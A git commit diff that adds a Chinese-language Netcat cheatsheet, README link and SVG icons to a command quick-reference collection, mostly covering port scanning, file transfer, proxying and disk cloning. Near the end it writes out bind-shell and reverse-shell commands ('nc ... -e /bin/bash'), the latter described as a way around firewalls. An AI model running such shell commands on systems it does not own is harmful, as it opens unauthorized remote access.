feat: add netcat.svg cheatsheet.
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jaywcjlove
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@ -78,6 +78,7 @@ Quick Reference
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[htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
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[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));-->
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[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
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[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
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[Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
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[SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
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[Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
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@ -1,7 +1,7 @@
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Git 备忘清单
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===
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本备忘单总结了常用的 Git 命令行指令，以供快速参考。
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本备忘单总结了常用的 [Git](https://git-scm.com/) 命令行指令，以供快速参考。
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入门
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----
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231
docs/netcat.md
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231
docs/netcat.md
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@ -0,0 +1,231 @@
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Netcat 备忘清单
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===
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该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。
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入门
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------
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<!--rehype:body-class=cols-5-->
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### 用法
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<!--rehype:wrap-class=col-span-2-->
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连接到位于任何地方的主机
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```shell
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$ nc [options] [host] [port]
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```
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监听传入连接
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```shell
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$ nc -lp port [host] [port]
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```
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### 选项示例
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<!--rehype:wrap-class=col-span-3 row-span-2-->
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选项 | 示例 | 说明
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:- | :- | :-
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`-h` | nc -h | 帮助
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`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
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`-v` | nc -zv 192.168.1.9 1-100 | 提供详细输出
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`-n` | nc -zn 192.168.1.9 1-100 | 通过禁用 `DNS` 解析进行快速扫描
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`-l` | nc -lp 8000 | `TCP` 侦听模式 _(用于入站连接)_
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`-w` | nc -w 180 192.168.1.9 8000 | 定义超时值
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`-k` | nc -kl 8000 | 断线后继续收听
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`-u` | nc -u 192.168.1.9 8000 | 使用 `UDP` 而不是 `TCP`
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`-q` | nc -q 1 192.168.1.9 8000 | 客户在 `EOF` 后熬夜
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`-4` | nc -4 -l 8000 | 仅限 `IPv4`
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`-6` | nc -6 -l 8000 | 仅限 `IPv6`
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### 聊天客户端-服务器
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<!--rehype:wrap-class=col-span-2-->
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服务器 Server (192.168.1.9)
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```shell
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$ nc -lv 8000
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```
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客户端 Client
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```shell
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$ nc 192.168.1.9 8000
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```
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Netcat 示例
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--------
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### Banner 抓取
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```shell
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$ nc website.com 80
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GET index.html HTTP/1.1
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HEAD / HTTP/1.1
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```
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或者
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```shell
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echo "" | nc -zv -wl 192.168.1.1 801-805
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```
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### 端口扫描
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扫描 `21` 到 `25` 之间的端口
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```shell
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$ nc -zvn 192.168.1.1 21-25
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```
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扫描端口 `22`、`3306` 和 `8080`
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```shell
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$ nc -zvn 192.168.1.1 22 3306 8080
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```
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### 代理和端口转发
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```shell
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$ nc -lp 8001 -c "nc 127.0.0.1 8000"
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```
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或者
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```shell
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$ nc -l 8001 | nc 127.0.0.1 8000
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```
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创建从一个本地端口到另一个本地端口的隧道
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### 下载文件
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服务器 Server (192.168.1.9)
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```shell
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$ nc -lv 8000 < file.txt
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```
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客户端 Client
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```shell
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$ nc -nv 192.168.1.9 8000 > file.txt
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```
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假设您想将文件 `file.txt` 从服务器 A 传输到客户端 B。
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### 上传文件
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服务器 Server (192.168.1.9)
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```shell
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$ nc -lv 8000 > file.txt
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```
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客户端 Client
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```shell
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$ nc 192.168.1.9 8000 < file.txt
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```
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假设您想将文件 `file.txt` 从客户端 `B` 传输到服务器 `A`
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### 目录传输
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服务器 Server (192.168.1.9)
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```shell
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$ tar -cvf – dir_name | nc -l 8000
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```
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客户端 Client
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```shell
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$ nc -n 192.168.1.9 8000 | tar -xvf -
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```
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假设您想通过网络将目录从 `A` 传输到 `B`
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### 加密传输
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<!--rehype:wrap-class=col-span-2-->
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服务器 Server (192.168.1.9)
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```shell
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$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
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```
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客户端 Client
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```shell
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$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
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```
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在通过网络传输之前加密数据
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### 克隆
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服务器 Server (192.168.1.9)
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```shell
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$ dd if=/dev/sda | nc -l 8000
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```
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客户端 Client
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```shell
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$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
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```
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克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda
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### 视频流
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服务器 Server (192.168.1.9)
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```shell
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$ cat video.avi | nc -l 8000
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```
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客户端 Client
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```shell {.wrap}
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$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
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```
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使用 netcat 流式传输视频
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### 远程 shell
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服务器 Server (192.168.1.9)
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```shell
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$ nc -lv 8000 -e /bin/bash
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```
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客户端 Client
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```shell
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$ nc 192.168.1.9 8000
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```
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我们已经使用 `telnet` 和 `ssh` 使用远程 `Shell`，但是如果它们没有安装并且我们没有安装它们的权限，那么我们也可以使用 `netcat` 创建远程 `shell`
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### 逆转 shell
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服务器 Server (192.168.1.9)
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```shell
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$ nc -lv 8000
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```
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客户端 Client
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```shell
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$ nc 192.168.1.9 8000 -v -e /bin/bash
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```
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反向 `shell` 通常用于绕过防火墙限制，例如阻止入站连接
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3
scripts/assets/colors-named.svg
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3
scripts/assets/colors-named.svg
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<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 24 24">
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<path d="M19.54 5.08A10.61 10.61 0 0 0 11.91 2a10 10 0 0 0-.05 20 2.58 2.58 0 0 0 2.53-1.89 2.52 2.52 0 0 0-.57-2.28.5.5 0 0 1 .37-.83h1.65A6.15 6.15 0 0 0 22 11.33a8.48 8.48 0 0 0-2.46-6.25Zm-12.7 9.66a1.5 1.5 0 1 1 .4-2.08 1.49 1.49 0 0 1-.4 2.08ZM8.3 9.25a1.5 1.5 0 1 1-.55-2 1.5 1.5 0 0 1 .55 2ZM11 7a1.5 1.5 0 1 1 1.5-1.5A1.5 1.5 0 0 1 11 7Zm5.75.8a1.5 1.5 0 1 1 .55-2 1.5 1.5 0 0 1-.55 2Z" style="fill:#231f20" id="color-palette-2"/>
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</svg>
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After Width: | Height: | Size: 555 B |
3
scripts/assets/netcat.svg
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3
scripts/assets/netcat.svg
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<svg xmlns="http://www.w3.org/2000/svg" height="1em" width="1em" viewBox="0 0 30 27">
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<path fill="currentColor" fill-rule="evenodd" d="M24.1575957,7.91399838 C19.6909292,2.9579985 10.7162627,2.9579985 6.2509295,7.91399838 C4.72692954,9.60599833 4.04826289,11.7206649 4.28826288,14.0313316 C4.61226288,17.1499981 5.87759618,19.8033314 7.83359613,21.6193314 C7.8642628,21.0966647 7.86159613,20.4646647 7.78559613,19.6833314 L7.46692947,16.4099982 L10.3602627,17.9726648 C13.4069293,19.6179981 17.0002626,19.6179981 20.0455958,17.9726648 L22.9389291,16.4099982 L22.6215958,19.6833314 C22.5442624,20.4646647 22.5429291,21.0966647 22.5735958,21.6193314 C24.5295957,19.8033314 25.794929,17.1499981 26.118929,14.0313316 C26.358929,11.7206649 25.682929,9.60599833 24.1575957,7.91399838 M29.6015956,14.3926649 C29.0642623,19.5833314 26.430929,23.8366646 22.3789291,26.0646646 L21.1455958,26.7433312 L20.2189292,25.6833313 C20.1015958,25.5486646 19.2989292,24.5486646 19.0975958,22.153998 C16.7162626,22.8913313 13.6909293,22.8913313 11.3109294,22.153998 C11.109596,24.5486646 10.3069294,25.5486646 10.1895961,25.6833313 L9.26159609,26.7433312 L8.02826279,26.0646646 C3.97626289,23.837998 1.34426296,19.5833314 0.805596305,14.3926649 C0.46426298,11.1153316 1.47492962,7.98333171 3.64959623,5.56999844 C9.51359609,-0.934001402 20.8949291,-0.934001402 26.7575957,5.56999844 C28.9335956,7.98333171 29.9429289,11.1153316 29.6015956,14.3926649" transform="matrix(1 0 0 -1 0 27.435)"/>
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</svg>
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After Width: | Height: | Size: 1.4 KiB |
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